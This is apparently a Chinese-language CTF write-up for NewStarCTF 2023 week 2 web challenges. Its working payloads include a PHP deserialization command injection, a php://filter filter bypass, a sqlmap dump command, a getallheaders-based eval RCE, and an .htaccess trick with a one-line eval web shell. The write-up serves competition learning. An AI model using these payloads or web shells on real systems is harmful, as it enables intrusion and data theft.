[wp]NewStarCTF 2023 WEEK2|WEB

Unserialize?


highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i"$this->cmd)){
            @system($this->cmd);
        }
    }
}

审计代码: 反序列化自动触发__destruct()魔术方法,只要绕过这个匹配就能利用这个system()函数进行输出

然后我这里利用的是nl来进行查看内容

下面为序列化脚本:

这里很重要的 一点就是cmd为私有变量 所以我们加上一个%00就可以了

所以最钟的paylaod:

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}

[wp]NewStarCTF 2023 WEEK2|WEB_第1张图片

include 0。0


highlight_file(__FILE__);
// FLAG in the flag.php
$file $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    

考点 文件包含漏洞且不能出现base rot 大小写 那我们换个过滤器就行了

Payloa:?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

[wp]NewStarCTF 2023 WEEK2|WEB_第2张图片

ez_sql

过滤条件比较少 Sqlmap一把梭

sqlmap -u http://36290524-fae7-4b49-b911-fe7af45f3104.node4.buuoj.cn:81/?id=TMP0929 -D ctf -T here_is_flag -C flag --dump

游戏高手

这个gameover函数中向/api.php POST了我们的分数
我们可以自己伪造分数POST上传 这里要注意 POST json的stringfy形式

[wp]NewStarCTF 2023 WEEK2|WEB_第3张图片

上传10000000分就可以了

[wp]NewStarCTF 2023 WEEK2|WEB_第4张图片

R!!C!!E!!

题目提示敏感信息泄露 ,先用githack恢复获得bo0g1pop.php

[wp]NewStarCTF 2023 WEEK2|WEB_第5张图片

得到新的代码审计

[wp]NewStarCTF 2023 WEEK2|WEB_第6张图片

这个主要分为两块

第一:

if (';' === preg_replace('/[^\W]+\((?R)?\)/'''$_GET['star']))

[wp]NewStarCTF 2023 WEEK2|WEB_第7张图片

第二:

if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i'

这部分基本把常用的一些无参数rce的办法都ban了但我们可以使用getallheaders()

Paylaod:bo0g1pop.php?star=print_r(getallheaders()); 然后随便添加个参数:newstar=phpinfo();

[wp]NewStarCTF 2023 WEEK2|WEB_第8张图片

多send几下然后就饿可以看到了

这时候我们就要提取这个phpinfo();使用array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个

Payload:bo0g1pop.php?star=eval(array_rand(array_flip(getallheaders())));

多send几下

[wp]NewStarCTF 2023 WEEK2|WEB_第9张图片

出来了php界面  那么我们直接修改命令就可以进行rce了 获得flag

[wp]NewStarCTF 2023 WEEK2|WEB_第10张图片

Upload again!

这道题考的就是一个是.htaccess文件的解析漏洞 另一个就是考的对一句话木马内容的过滤

首先拿到题目大概就是说 你上传图片不行 要求你上传php文件 结果上传之后又发现但不开  所以这时候就要用到.htaccess文件的解析漏洞 我们只要把它jpg解释成php就可以了

.htacess内容:AddType application/x-httpd-php .jpg

先上传这个文件

[wp]NewStarCTF 2023 WEEK2|WEB_第11张图片

在上传图片

一句话木马内容5.png

@eval($_POST['a'])

[wp]NewStarCTF 2023 WEEK2|WEB_第12张图片

上传成功 给了路径 yijian一把梭

[wp]NewStarCTF 2023 WEEK2|WEB_第13张图片

拿到flag

你可能感兴趣的:(CTF,writeup,Web安全,web安全,网络安全)